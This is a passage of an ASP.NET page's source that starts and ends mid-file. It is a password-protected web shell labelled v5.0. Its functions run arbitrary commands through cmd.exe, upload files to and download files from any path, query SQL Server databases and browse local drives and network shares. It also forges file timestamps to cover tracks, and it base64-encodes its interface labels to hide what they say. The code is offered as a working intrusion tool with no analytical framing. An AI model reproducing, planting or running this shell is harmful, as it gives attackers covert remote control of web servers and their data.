if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen);\r\nelse if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\nelse if(!string.IsNullOrEmpty(del))d(del);\r\nelse if(!string.IsNullOrEmpty(don))z(don);\r\nelse if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\nelse if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\nelse if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\nelse if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\nelse if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\n\r\nif(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\nswitch (data3[0]){\r\ncase\"pro\":pro=a(pro,fb(data3[1]));break;\r\ncase\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\ncase\"sav\":sav=a(sav,fb(data3[1]));break;\r\ncase\"vir\":vir=a(vir,fb(data3[1]));break;\r\ncase\"nen\":nen=a(nen,fb(data3[1]));break;\r\ncase\"don\":don=a(don,fb(data3[1]));break;\r\ncase\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\ncase\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\ncase\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\ncase\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\ncase\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\ncase\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\n}}}\r\n\r\nview();\r\n    %>\r\n<script runat=\"server\">\r\n    string salt=\"di2zag7wZHTK9YR0NGq\";\r\n    string p,pro,cmd,sav,vir,nen,upb,upd,del,don,hid,tfil,ttar,ttim,baseFile,baseAddr,baseVir,baseName,sqc,sqq,exadd;\r\n    bool aut=false;\r\n    string pp=\"ePQm3HPXJYt5wZSFhktJ/IEin/A=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void view(){string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}\",\r\n    tb(pro),tb(cmd),tb(sav),tb(vir),tb(nen),tb(don),tb(tfil),tb(ttar),tb(ttim),tb(sqc),tb(sqq),tb(exadd));\r\n        HttpCookie coo=new HttpCookie(\"data\", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}\r\n\r\n    void rm(){/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/}\r\n    void c(string p){try{HttpCookie coo=new HttpCookie(\"p\",tb(p));coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);c();}catch(Exception e){l(e.Message);}}\r\n    bool c(){try{if(HttpContext.Current.Request.Cookies[\"p\"]!=null){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fb(HttpContext.Current.Request.Cookies[\"p\"].Value)+salt)))==pp;if(!aut)rm();return aut;}}catch(Exception e){l(e.Message);}rm();return false;}\r\n    void u(HttpPostedFile upl, string sav, bool vir, string nen){try{if(c()){if(upl!=null&&upl.ContentLength>0){string fn=string.IsNullOrEmpty(nen)?System.IO.Path.GetFileName(upl.FileName):nen;string path=vir?Server.MapPath(sav):sav;string SaveLocation=System.IO.Path.HasExtension(path)?path:path.TrimEnd('\\\\')+\"\\\\\"+fn;upl.SaveAs(SaveLocation);l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void baseupl(string baseFile,string baseAddr, bool baseVir){try{if(c()){if(baseFile!=null&&baseFile.Length>0&&!string.IsNullOrEmpty(baseAddr)){string SaveLocation=baseVir?Server.MapPath(baseAddr):baseAddr;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFile));l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void r(string pro, string cmd){try{if(c()){string o = exec(cmd,pro);l(HttpUtility.HtmlEncode(o));}}catch(Exception ex){l(ex.Message);}}\r\n    void z(string don){try{if(c()&&!string.IsNullOrEmpty(don)){byte[] f=System.IO.File.ReadAllBytes(don);System.Web.HttpContext t=System.Web.HttpContext.Current;t.Response.Clear();t.Response.ClearHeaders();t.Response.ClearContent();t.Response.AppendHeader(\"content-length\",f.Length.ToString());t.Response.ContentType=\"application/octet-stream\";t.Response.AppendHeader(\"content-disposition\",\"attachment; filename=\"+don.Substring(don.LastIndexOf('\\\\')+1));t.Response.BinaryWrite(f);t.Response.End();}}catch(Exception ex){l(ex.Message);}}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    void g(string hid, string tfil, string ttar, string ttim){try{if(c()&&!string.IsNullOrEmpty(tfil)){l(string.Empty);if(hid==\"1\")ti(tfil);else if(hid==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}else if(hid==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}}}catch(Exception ex){l(ex.Message);}}\r\n    void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+\" successfuly uploaded\");}}catch(Exception ex){l(ex.Message);}}\r\n    void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+\" successfuly deleled\");}}catch(Exception ex){l(ex.Message);}}\r\n    void sq(string sqc, string sqq){try{if(c()){if(!string.IsNullOrEmpty(sqc)){using(System.Data.SqlClient.SqlConnection con=new System.Data.SqlClient.SqlConnection(sqc)){if(string.IsNullOrEmpty(sqq)){try{con.Open();l(\"Sql Server Connection Successfuly Established\");}catch(Exception ex){l(\"Sql Server Connection Failed :\"+Environment.NewLine+ex.ToString());}}else{try{con.Open();System.Data.SqlClient.SqlCommand com=new System.Data.SqlClient.SqlCommand(sqq,con);System.Data.SqlClient.SqlDataAdapter ad=new System.Data.SqlClient.SqlDataAdapter(com);System.Data.DataTable dt=new System.Data.DataTable();ad.Fill(dt);DataGrid grid=new DataGrid();System.Web.UI.WebControls.DataList list=new System.Web.UI.WebControls.DataList();grid.DataSource=dt;grid.DataBind();log.Controls.Add(grid);}catch(Exception ex){l(\"Error : <br>\"+ex.ToString());}}con.Close();}}}}catch(Exception ex){l(ex.Message);}}\r\n    string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}\r\n    void l(string ll){log.InnerHtml=tb(ll);}\r\n\r\n    string exec(string cmd,string pro = \"\")\r\n    {\r\n        System.Diagnostics.Process n=new System.Diagnostics.Process();\r\n        n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);\r\n        n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;\r\n        n.StartInfo.RedirectStandardOutput=true;\r\n        n.StartInfo.RedirectStandardError=true;\r\n        n.StartInfo.CreateNoWindow=true;\r\n        string o=null;\r\n        n.Start();\r\n        n.StandardInput.WriteLine(cmd);\r\n        n.StandardInput.WriteLine(\"exit\");\r\n        o =n.StandardOutput.ReadToEnd();\r\n        n.WaitForExit();\r\n        n.Close();\r\n        return o;\r\n    }\r\n\r\n    void gsize(string addr)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            long size = GetDirSize(new DirectoryInfo(addr));\r\n            ret = sizeFix(size);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void exp(string exadd)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            if (exadd.ToLower() == \"root\")\r\n            {\r\n                ret = \"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";// in javascript json parser two \\ = one \\\r\n                string netUse = exec(\"net use\");\r\n                string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines)\r\n                {\r\n                    if (item.ToLower().StartsWith(\"ok\"))\r\n                    {\r\n                        int index = item.IndexOf(\"\\\\\\\\\");\r\n                        ret += \",{\\\"name\\\":\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"}\";\r\n                    }\r\n                }\r\n                ret += \"]}\";\r\n            }\r\n            else\r\n            {\r\n                if (exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                {\r\n                    string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                    if (tmp == \"\\\\\\\\localhost\")\r\n                    {\r\n                        ret = \"{\\\"dir\\\":[\";\r\n                        bool isStart = false;\r\n                        foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                        {\r\n                            if (item.IsReady)\r\n                            {\r\n                                if (isStart)\r\n                                    ret += \",\";\r\n                                ret += string.Format(\"{{\\\"name\\\":\\\"{0}$\\\",\\\"tsize\\\":\\\"{1}\\\",\\\"fsize\\\":\\\"{2}\\\",\\\"usize\\\":\\\"{3}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':'),sizeFix(item.TotalSize),sizeFix(item.TotalFreeSpace),sizeFix(item.TotalSize - item.TotalFreeSpace));\r\n                                isStart = true;\r\n                            }\r\n                        }\r\n                        ret += \"]}\";\r\n                    }\r\n                    else\r\n                    {\r\n\r\n                    }\r\n                }\r\n                else // \\\\localhost\\c$\\\r\n                {\r\n                    FileAttributes attr = File.GetAttributes(exadd);\r\n                    if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                    {\r\n                        DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                        ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n    long GetDirSize(DirectoryInfo d)\r\n    {\r\n        long size = 0;\r\n\r\n        FileInfo[] fis = d.GetFiles();\r\n        foreach (FileInfo fi in fis)\r\n        {\r\n            size += fi.Length;\r\n        }\r\n\r\n        DirectoryInfo[] dis = d.GetDirectories();\r\n        foreach (DirectoryInfo di in dis)\r\n        {\r\n            size += GetDirSize(di);\r\n        }\r\n\r\n        return size;\r\n    }\r\n    string createJsonDirectory(DirectoryInfo[] dir)\r\n    {\r\n        string json = \"\\\"dir\\\":[\";\r\n        for (int i = 0; i < dir.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"{\\\"name\\\":\\\"\" + dir[i].Name + \"\\\"}\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(FileInfo[] file)\r\n    {\r\n        string json = \"\\\"file\\\":[\";\r\n        for (int i = 0; i < file.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"[\\\"\" + file[i].Name + \"\\\",\\\"\" + sizeFix(file[i].Length) + \"\\\"]\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size)\r\n    {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" MB\";\r\n        s = s / 1024;\r\n        return Math.Round(s,2) + \" GB\";\r\n    }\r\n</script>\r\n\r\n<style>body,html{margin:0;padding:5px;direction:ltr;background:#aaa;color:#000 !important;}form{margin:0;}*{font:14px \"Lucida Console\";}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}g{margin-left:30px;}input[type=\"text\"],input[type=\"file\"],textarea {width:60%;height:25px;background:#cbcbcb;color:#000;border:1px solid #999;margin-bottom:3px;}input[type=\"text\"]{padding:2px;}input[type=\"button\"],input[type=\"submit\"] {height:23px;}input[type=\"checkbox\"]{width:23px;height:24px;position:absolute;margin:0;}hr{margin:0;border:0;border-top:1px solid #DDD;}.h{width:100px;text-align:center;background:rgb(255,36,0);color:#fff;vertical-align:middle;}table{width:100%;margin:0;border-collapse:collapse;}.b{padding:10px 0px 9px;}</style>\r\n<script>\r\n    function use() { var n = document; var d = n.getElementById(\"d\").innerHTML; d = d.substring(0, d.lastIndexOf('\\\\') + 1); n.getElementsByName(\"cmd\")[0].value += d; n.getElementsByName(\"sav\")[0].value += d; n.getElementsByName(\"don\")[0].value += d; }\r\n    function subm(){var mmm=document.getElementsByClassName('mmm');for(var i=0;i<mmm.length;i++){mmm[i].value=btoa(mmm[i].value);}}\r\n    function reset() { document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";location.href = location.pathname;}\r\n</script>\r\n<style>\r\n    div.tbbt{overflow:hidden;border:1px solid #ccc;}\r\n    div.tbbt button{background-color:inherit;float:left;border:none;outline:none;cursor:pointer;padding:14px 16px;transition: 0.3s;font-size:17px;}\r\n    div.tbbt button:hover{background-color:#ddd}\r\n    div.tbbt button.active{background-color:#ccc}\r\n    .tb{display:none;border:1px solid #ccc;border-top:none}\r\n    .loader{\r\n        border:3px solid #f3f3f3;\r\n        border-radius:50%;\r\n        border-top:3px solid #3498db;\r\n        width:16px;\r\n        height:16px;\r\n        -webkit-animation: spin 2s linear infinite;\r\n        animation:spin 2s linear infinite;\r\n        position:absolute;\r\n    }\r\n    @-webkit-keyframes spin {\r\n        0%{ -webkit-transform:rotate(0deg);}\r\n        100%{-webkit-transform:rotate(360deg);}\r\n    }\r\n    @keyframes spin {\r\n        0%{ transform:rotate(0deg);}\r\n        100%{transform:rotate(360deg);}\r\n    }\r\n    #objFrame{padding:0 5px 5px 5px}\r\n    .objD {\r\n        /*background-color: #d8d808;*/\r\n        background-color: #23a4ff;\r\n        padding: 5px;\r\n        display: table;\r\n        cursor: pointer;\r\n        /*margin-left: 100px;*/\r\n        float:left;\r\n        margin-left:5px;\r\n    }\r\n    .objF {\r\n        margin-top: 5px;\r\n        min-height: 24px;\r\n    }\r\n    .objS {\r\n        /*position: absolute;*/\r\n        width: 90px;\r\n        text-align: right;\r\n        cursor: default;\r\n        background-color: #c3c3c3;\r\n        padding: 5px;\r\n        min-height:14px;\r\n        max-height: 14px;\r\n        overflow: hidden;\r\n        float:left;\r\n    }\r\n    .objN {\r\n        display: table;\r\n        padding: 5px;\r\n        background-color: #23d7ff;\r\n        margin-left: 100px;\r\n        cursor: default;\r\n    }\r\n    .objB {\r\n        margin-left:3px;\r\n        padding:5px;\r\n    }\r\n    /*.objL{display:inline-block;margin-left:3px;}*/\r\n    #objLocation{padding:0 5px 0 5px;\r\n                 min-height: 24px;\r\n    margin-top: 5px;\r\n    }\r\n    .objLabel {\r\n        /*display: inline-block;\r\n        padding: 5px;\r\n        width: 87px;\r\n        background-color: #c3c3c3;\r\n        margin-top:5px;\r\n        float:left;*/\r\n    }\r\n    .objError {\r\n        background-color: #ff2e2e;\r\n        color: white;\r\n    }\r\n    .objInfo {\r\n        font-size: 10px;\r\n    background-color: #83cc83;\r\n    line-height: 14px;\r\n    }\r\n    .sizeLD {\r\n    width: 12px;\r\n    height: 12px;\r\n    margin-left: -54px;\r\n    margin-top: -2px;\r\n    }\r\n</style>\r\n<script>\r\n    var sizeArray = new Array();\r\n    function openTab(ev, nm)\r\n    {\r\n        var i, tb, tblnk;\r\n        tb = document.getElementsByClassName(\"tb\");\r\n        for (i = 0; i < tb.length; i++) {\r\n            tb[i].style.display = \"none\";\r\n        }\r\n        tblnk = document.getElementsByClassName(\"tblnk\");\r\n        for (i = 0; i < tblnk.length; i++) {\r\n            tblnk[i].className = \"tblnk\";\r\n        }\r\n        document.getElementById(nm).style.display = \"block\";\r\n        ev.currentTarget.className += \" active\";\r\n    }\r\n    function readCookie(name)\r\n    {\r\n        var nameEQ = name + \"=\";\r\n        var ca = document.cookie.split(';');\r\n        for (var i = 0; i < ca.length; i++) {\r\n            var c = ca[i];\r\n            while (c.charAt(0)==' ') c = c.substring(1, c.length);\r\n            if(c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);\r\n        }\r\n        return null;\r\n    }\r\n    function sendAddress()\r\n    {\r\n        document.getElementById(\"loader\").style.display = \"inline-block\";\r\n        var address = document.getElementsByName(\"exadd\")[0].value;\r\n        var info = {\r\n            data:\"exadd=\" + btoa(address),\r\n            onSuccess:function(resText){\r\n                \r\n                document.getElementById(\"loader\").style.display = \"none\";\r\n                var data = atob(resText)\r\n                makeLocation();\r\n                var Frame = document.getElementById(\"objFrame\");\r\n                Frame.innerHTML = \"\";\r\n                if(data.startsWith(\"Error\"))\r\n                {\r\n                    addError(Frame, data);\r\n                }\r\n                else\r\n                {\r\n                    var info = JSON.parse(data);\r\n                    if(info.dir)\r\n                    {\r\n                        var f = document.createElement(\"div\");\r\n                        f.className=\"objF\";\r\n       \r\n                        var s = document.createElement(\"div\");\r\n                        s.className=\"objS\";\r\n                        s.innerText = \"Get All Size\";\r\n                        s.style.cursor = \"pointer\";\r\n                        s.style.fontSize = \"12px\";\r\n                        s.onclick = function(){getAllSize();};\r\n\r\n                        f.appendChild(s);\r\n                        Frame.appendChild(f);\r\n\r\n                        for (var i = 0; i < info.dir.length; i++)\r\n                            addFolder(Frame, info.dir[i]);\r\n                    }\r\n                    if(info.file)\r\n                        for (var i = 0; i < info.file.length; i++)\r\n                            addFile(Frame, info.file[i][0], info.file[i][1])\r\n                }\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function makeLocation()\r\n    {\r\n        var loc = document.getElementById(\"objLocation\");\r\n        loc.innerHTML = \"\";\r\n\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n\r\n        var lbl = document.createElement(\"div\");\r\n        lbl.className = \"objS objLabel\";\r\n        lbl.innerText = \"Location :\";\r\n        loc.appendChild(lbl);\r\n        var curAdd = document.getElementsByName(\"exadd\")[0].value.split(\"\\\\\");\r\n        var sendLoc = \"\";\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n            sendLoc += \"\\\\\\\\\";\r\n        for (var i = 0; i < curAdd.length; i++) {\r\n            if(curAdd[i] == \"\")\r\n                continue;\r\n            sendLoc += curAdd[i] + \"\\\\\";\r\n            var o = document.createElement(\"div\");\r\n            if(i == curAdd.length - 1)\r\n                o.style.display = \"inline-block\";\r\n            else\r\n            {\r\n                o.setAttribute(\"loc\",sendLoc);\r\n                o.onclick = function(){\r\n                    document.getElementsByName(\"exadd\")[0].value = this.getAttribute(\"loc\");\r\n                    sendAddress();\r\n                };\r\n                o.className = \"objD\";\r\n            }\r\n            o.innerText = curAdd[i] + \"\\\\\";\r\n                        \r\n            loc.appendChild(o);\r\n        }\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n        {\r\n            loc.childNodes[1].innerText = \"\\\\\\\\\" + loc.childNodes[1].innerText;\r\n        }\r\n        loc.lastChild.style.display = \"inline-block\";\r\n        loc.lastChild.onclick = function(){};\r\n        loc.lastChild.className = \"objB\";\r\n    }\r\n\r\n    function addError(parent, error)\r\n    {\r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD objError\";\r\n        d.innerText = error;\r\n        parent.appendChild(d);\r\n    }\r\n\r\n    function addFolder(parent, dir)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n       \r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD\";\r\n        d.innerText = dir.name;\r\n        d.onclick = function(){setAddress(this.innerText);};\r\n\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS dir\";\r\n        if(sizeArray[getCurrentAddress()+\"\\\\\"+dir.name])\r\n            setSize(s,sizeArray[getCurrentAddress()+\"\\\\\"+dir.name]);\r\n        else if(dir.usize)\r\n            setSize(s,dir.usize);\r\n        else\r\n            s.innerText = \"...\";\r\n\r\n        s.style.cursor = \"pointer\";\r\n        s.onclick = function(){getSize(s,d.innerText);};\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(d);\r\n\r\n        if(dir.tsize)\r\n        {\r\n            var inf = document.createElement(\"div\");\r\n            inf.className=\"objD objInfo\";\r\n            inf.innerText = \"Total Size : \" + dir.tsize;\r\n            f.appendChild(inf);\r\n        }\r\n\r\n        if(dir.fsize)\r\n        {\r\n            var inf = document.createElement(\"div\");\r\n            inf.className=\"objD objInfo\";\r\n            inf.innerText = \"Free Space : \" + dir.fsize;\r\n            f.appendChild(inf);\r\n        }\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function addFile(parent, name, size)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS\";\r\n        setSize(s, size)\r\n        var n = document.createElement(\"div\");\r\n        n.className=\"objN\";\r\n        n.innerText=name;\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(n);\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function getCurrentAddress()\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        return address.value;\r\n    }\r\n\r\n    function setAddress(name)\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        var path = name;\r\n        if (path == 'root' || path.startsWith('\\\\\\\\'))\r\n            address.value = path;\r\n        else\r\n            address.value += \"\\\\\" + name;\r\n        sendAddress();\r\n    }\r\n\r\n    function getNextSize(alls)\r\n    {\r\n        if(alls.length > 0)\r\n        {\r\n            var s = alls[0];\r\n            alls.shift();\r\n            console.log(alls);\r\n            console.log(s);\r\n            getSize(s, s.nextSibling.innerText, function(){getNextSize(alls)});\r\n        }\r\n    }\r\n\r\n    function getAllSize()\r\n    {\r\n        var allSizes = [].slice.call(document.getElementsByClassName(\"objS dir\"));\r\n        getNextSize(allSizes);\r\n    }\r\n\r\n    function getSize(objSize, name, callBack)\r\n    {\r\n        objSize.innerText = \"\";\r\n        var ldr = document.createElement(\"span\");\r\n        ldr.className=\"loader sizeLD\";\r\n        objSize.appendChild(ldr);\r\n        var address = getCurrentAddress() + \"\\\\\" + name;\r\n        var info = {\r\n            data:\"gsize=\" + btoa(address),\r\n            onSuccess:function(resText){\r\n                \r\n                ldr.remove();\r\n                var data = atob(resText)\r\n                setSize(objSize, data)\r\n                if(!data.startsWith(\"Error\"))\r\n                    sizeArray[address] = data;\r\n\r\n                if(callBack)\r\n                    callBack();\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function checkEnter(ev)\r\n    {\r\n        if(ev.which == 13 || ev.keyCode == 13)\r\n        {\r\n            sendAddress();\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    function setSize(obj, size)\r\n    {\r\n        if(size.startsWith(\"Error\"))\r\n        {\r\n            obj.title = size;\r\n            obj.innerText = \"Error\";\r\n        }\r\n        else\r\n            obj.innerText = size;\r\n        if(size.endsWith(\"KB\"))\r\n            obj.style.backgroundColor = \"#ece979\";\r\n        else if(size.endsWith(\"MB\"))\r\n            obj.style.backgroundColor = \"#ffd36f\";\r\n        else if(size.endsWith(\"GB\"))\r\n            obj.style.backgroundColor = \"#ff6f6f\";\r\n    }\r\n\r\n    function sendData(info)\r\n    {\r\n        var data = info.data;\r\n        var xh = new XMLHttpRequest();\r\n        xh.onreadystatechange = function(){\r\n            if(this.readyState == 4 && this.status == 200)\r\n            {\r\n                info.onSuccess(this.responseText);\r\n            }\r\n        };\r\n        xh.open(\"POST\", location.pathname, true);\r\n        xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n        xh.send(\"p=\" + readCookie(\"p\") + \"&\" + data);\r\n    }\r\n</script>\r\n</head>\r\n<body>\r\n<div class=\"tbbt\">\r\n    <button class=\"tblnk active\" onclick=\"openTab(event, 'tbMain')\">Main</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(event, 'tbDir')\">Explorer</button>\r\n</div>\r\n<div id=\"tbMain\" class=\"tb\" style=\"display:block\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"QWRkcmVzcw==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"Q3VycmVudA==\")%> :</t>\r\n<y id=\"d\"><%= Server.MapPath(string.Empty) + \"\\\\\"%></y>\r\n<input type=\"button\" value=\"<%=x(\"VXNl\")%>\" onclick=\"use()\" />\r\n<input type=\"button\" value=\"<%=x(\"UmVzZXQgRm9ybQ==\")%>\" onclick=\"reset()\" />\r\n<div style=\"float:right\">v5.0</div>\r\n</td>\r\n</tr>\r\n</table>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"TG9naW4=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RG8gaXQ=\")%> :</t>\r\n<input name=\"p\" class=\"mmm\" type=\"text\" style='background-color: <%= aut ? \"Green\" : \"Red\" %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RG8gaXQ=\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q29tbWFuZA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"UHJvY2Vzcw==\")%> :</t>\r\n<input name=\"pro\" class=\"mmm\" type=\"text\" value='<%= string.IsNullOrEmpty(pro) ? x(\"Y21kLmV4ZQ==\") : pro %>' /><br>\r\n<t><%=x(\"Q29tbWFuZA==\")%> :</t>\r\n<input name=\"cmd\" class=\"mmm\" type=\"text\" value='<%= cmd %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RXhlY3V0ZQ==\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\" enctype=\"multipart/form-data\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2Fk\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"upl\" type=\"file\" /><br>\r\n<t><%=x(\"U2F2ZSBhcw==\")%> :</t>\r\n<input name=\"sav\" class=\"mmm\" type=\"text\" value='<%= sav %>' />\r\n<input name=\"vir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"TmV3IEZpbGUgbmFtZQ==\")%> :</t>\r\n<input name=\"nen\" class=\"mmm\" type=\"text\" value='<%= nen %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"RG93bmxvYWQ=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"don\" type=\"text\" />\r\n<input type=\"submit\" value=\"<%= x(\"RG93bmxvYWQ=\") %>\" onclick=\"document.getElementsByName('don')[0].value = btoa(document.getElementsByName('don')[0].value);\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td 